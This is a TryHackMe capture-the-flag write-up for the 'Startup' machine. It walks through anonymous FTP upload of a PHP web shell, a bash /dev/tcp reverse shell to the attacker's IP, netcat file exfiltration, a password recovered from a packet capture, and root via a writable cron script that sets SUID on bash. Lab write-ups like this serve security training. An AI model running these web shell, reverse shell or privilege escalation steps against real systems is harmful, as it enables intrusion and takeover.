Startup | TryHackMe Writeup
Table of Contents
Overview

Startup is an easy TryHackMe machine that demonstrates how a writable anonymous FTP share can lead to Remote Code Execution through arbitrary file uploads. After obtaining an initial shell, packet capture analysis reveals SSH credentials for a local user. The final privilege escalation abuses a root cron job that executes a writable script, allowing the attacker to set the SUID bit on Bash and gain full root access.
Key Vulnerabilities
- Anonymous FTP Access
- Writable FTP Directory
- Arbitrary File Upload
- Remote Code Execution (RCE)
- Credential Disclosure from Packet Capture
- Writable Root Cron Script
- Privilege Escalation via SUID Bash
๐ Enumeration
Perform a full TCP port scan.
nmap -n -Pn -sVC -p- --min-rate 5000 10.49.147.215
Scan Results
$ nmap -n -Pn -sVC -p- --min-rate 5000 10.49.147.215
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-23 07:34 -0700
Warning: 10.49.147.215 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.49.147.215
Host is up (0.20s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.159.99
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
| 256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_ 256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.29 seconds
Findings
- 21 โ FTP
- 22 โ SSH
- 80 โ Apache Web Server
The FTP scan reveals that anonymous login is enabled, and the ftp directory is writable.
๐ FTP Enumeration
Connect to the FTP server.
ftp 10.49.147.215
Login using the anonymous account.
Username : anonymous
Password : <blank>
List the available files.
ftp> ls
229 Entering Extended Passive Mode (|||30335|)
150 Here comes the directory listing.
drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
226 Directory send OK.
ftp>
Download both files.
get important.jpg
get notice.txt
The image contains an Among Us meme, while notice.txt contains the following message.
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY.
People downloading documents from our website will think we are a joke! Now I dont know who it is,
but Maya is looking pretty sus.
Although this appears to be a hint, it is not directly useful during exploitation.
๐ Web Enumeration
Browse to port 80.
The website displays only a simple maintenance page and looking for a web developer.
Perform directory enumeration.
gobuster dir \
-u http://10.49.147.215 \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
Result
$ gobuster dir -u http://10.49.147.215/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.49.147.215/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 278]
.htaccess (Status: 403) [Size: 278]
.htpasswd (Status: 403) [Size: 278]
files (Status: 301) [Size: 314] [--> http://10.49.147.215/files/]
index.html (Status: 200) [Size: 808]
server-status (Status: 403) [Size: 278]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================
Browsing to:
http://10.49.147.215/files/
shows the same files previously discovered through FTP.
The important.jpg
This suggests that the FTP share is directly exposed through the web server.
๐ Uploading a Web Shell
Create a PHP web shell.
<html>
<body>
<form method="GET">
<input type="text" name="cmd">
<input type="submit">
</form>
<pre>
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Save it as:
web-shell.php
Attempt to upload it.
put web-shell.php
The upload to the FTP root directory fails.
ftp> put web-shell.php
mput web-shell.php [anpqy?]? y
229 Entering Extended Passive Mode (|||36976|)
553 Could not create file.
ftp>
Change into the writable directory and Upload again.
cd ftp && put web-shell.php
Result
ftp> cd ftp
250 Directory successfully changed.
ftp> put web-shell.php
local: web-shell.php remote: web-shell.php
229 Entering Extended Passive Mode (|||36625|)
150 Ok to send data.
100% |************************************************************************************************************************************************| 347 1.08 MiB/s 00:00 ETA
226 Transfer complete.
347 bytes sent in 00:00 (2.55 KiB/s)
ftp>
The upload succeeds.
Browsing to:
http://10.49.147.215/files/ftp/web-shell.php
confirms that the PHP code executes successfully.
๐ป Remote Code Execution
Start a Netcat listener.
nc -lnvp 443
Execute the following reverse shell through the web shell.
bash -c "bash -i >& /dev/tcp/192.168.159.99/443 0>&1"
A reverse shell is obtained as:
www-data
๐ง Upgrading the Shell
Upgrade the shell to a fully interactive TTY.
script /dev/null -c bash
Press:
Ctrl + Z
Then execute:
stty raw -echo; fg
reset xterm
export TERM=xterm
export BASH=bash
๐ Local Enumeration
Attempting to access Lennie’s home directory results in a permission error.
cd /home/lennie
Instead, continue enumerating the filesystem.
Inside the root directory, two interesting items are discovered.
recipe.txt
incidents/
Read the recipe file.
cat recipe.txt
Result
Someone asked what our main ingredient to our spice soup is today.
I figured I can't keep it a secret forever and told him it was **FLAG**.
This reveals the first flag.
๐ก Packet Capture Analysis
Inside the incidents directory, a packet capture is found.
suspicious.pcapng
Transfer the file to the attacker machine.
Attacker:
nc -lnvp 9999 > suspicious.pcapng
Target:
nc 192.168.159.99 9999 < suspicious.pcapng
Open the capture using Wireshark.
While inspecting the packets, Frame 42 contains an SSH session where a user attempts to execute:
sudo -l
Although authentication fails, the password is clearly visible.
c4ntg3t3n0ughsp1c3
๐ SSH Access
Login as lennie using the recovered password.
ssh lennie@10.49.147.215
Verify the user.
$ id ;whoami
uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)
lennie
$
Successfully obtained a shell as lennie.
๐ User Flag
Read the user flag.
cat /home/lennie/user.txt
Result
THM{03ce3d619b80ccbfb3b7fc**********}
๐ Privilege Escalation Enumeration
Check sudo permissions.
sudo -l
No sudo privileges are available.
Search for SUID binaries.
find / -type f -perm -4000 2>/dev/null
Nothing immediately useful is discovered.
Check cron jobs.
cat /etc/crontab
No obvious privilege escalation path is visible.
Inside Lennie’s home directory, a script is discovered.
~/scripts/planner.sh
Contents:
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
The script executes:
/etc/print.sh
This appears suspicious.
๐ Monitoring Background Processes
Run pspy64.
./pspy64
Result
lennie@startup:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
โโโโโโ โโโโโโ โโโโโโ โโโ โโโ
โโโโ โโโโโโ โ โโโโ โโโโโโ โโโ
โโโโ โโโโโ โโโโ โโโโ โโโโ โโโ โโโ
โโโโโโโ โ โ โโโโโโโโโโ โ โ โโโโโ
โโโโ โ โโโโโโโโโโโโโโ โ โ โ โโโโโ
โโโโ โ โโ โโโ โ โโโโโ โ โ โโโโโ
โโ โ โ โโ โ โโโ โ โโโ โโโ
โโ โ โ โ โโ โ โ โโ
โ โ โ
โ โ
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/07/25 10:53:34 CMD: UID=1002 PID=1563 | ./pspy64
2026/07/25 10:53:34 CMD: UID=0 PID=1546 |
2026/07/25 10:53:34 CMD: UID=1002 PID=1399 | bash
2026/07/25 10:53:34 CMD: UID=0 PID=2 |
2026/07/25 10:53:34 CMD: UID=0 PID=1 | /sbin/init
2026/07/25 10:54:01 CMD: UID=0 PID=1589 |
2026/07/25 10:54:01 CMD: UID=0 PID=1588 | /bin/bash /home/lennie/scripts/planner.sh
2026/07/25 10:54:01 CMD: UID=0 PID=1587 | /bin/sh -c /home/lennie/scripts/planner.sh
2026/07/25 10:54:01 CMD: UID=0 PID=1586 | /usr/sbin/CRON -f
2026/07/25 10:55:01 CMD: UID=0 PID=1618 | /bin/bash /home/lennie/scripts/planner.sh
2026/07/25 10:55:01 CMD: UID=0 PID=1617 | /bin/sh -c /home/lennie/scripts/planner.sh
2026/07/25 10:55:01 CMD: UID=0 PID=1616 | /usr/sbin/CRON -f
2026/07/25 10:55:01 CMD: UID=0 PID=1619 | /bin/bash /etc/print.sh
After monitoring for a short period, the following process appears every minute.
/bin/bash /home/lennie/scripts/planner.sh
which in turn executes
/bin/bash /etc/print.sh
Both processes run as root.
This confirms the presence of a hidden root cron job.
๐ Exploiting the Writable Script
Check the permissions.
ls -la /etc/print.sh
Result
lennie@startup:~$ ls -la /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh
Although the cron job runs as root, the script itself is writable by lennie.
Check Bash permissions.
ls -la /bin/bash
Result
lennie@startup:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1037528 Jul 12 2019 /bin/bash
Append the following command to /etc/print.sh.
chmod +s /bin/bash
Example file:
#!/bin/bash
echo "Done!"
chmod +s /bin/bash
Wait approximately one minute for the cron job to execute.
Verify the permissions.
ls -la /bin/bash
Result
lennie@startup:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 Jul 12 2019 /bin/bash
lennie@startup:~$
The SUID bit has been added successfully.
๐ Root Shell
Launch Bash while preserving privileges.
/bin/bash -p
Verify the privileges.
id
Result
bash-4.3# id ;whoami
uid=1002(lennie) gid=1002(lennie) euid=0(root) egid=0(root) groups=0(root),1002(lennie)
root
Successfully obtained a root shell.
๐ Root Flag
Read the root flag.
cat /root/root.txt
Result
THM{f963aaa6a430f210222158**********}
๐งพ Summary
| Phase | Technique |
|---|---|
| Enumeration | Nmap |
| Initial Access | Anonymous FTP |
| Web Enumeration | Gobuster |
| Remote Code Execution | PHP Web Shell |
| Enumeration | Packet Capture Analysis |
| User Access | SSH Credentials from PCAP |
| Privilege Escalation | Writable Root Cron Script |
| Root Access | SUID Bash |
๐ Key Takeaways
- Anonymous FTP shares should never be writable unless absolutely necessary.
- Exposing uploaded files through the web server can easily lead to Remote Code Execution.
- Packet captures may unintentionally reveal credentials and should be treated as sensitive information.
- Hidden cron jobs are often overlooked during privilege escalation; tools such as pspy64 are invaluable for identifying them.
- Writable scripts executed by privileged cron jobs can directly lead to root compromise by modifying critical system binaries such as
/bin/bash.
Related Posts
Method | Vulnyx Writeup
Exploited a vulnerable WebDAV configuration to upload a PHP web shell, gained remote code execution, and escalated โฆ
Lian_Yu | TryHackMe Writeup
Discovered hidden web directories, recovered FTP credentials, extracted SSH credentials from steganographic content, and โฆ
Unit | Vulnyx Writeup
Abused HTTP PUT and MOVE methods to upload and execute a PHP web shell, gained initial access as www-data, and escalated โฆ
Lower7 | Vulnyx Writeup
Recovered FTP credentials from a leaked username, uploaded a Node.js reverse shell, obtained access as a low-privileged โฆ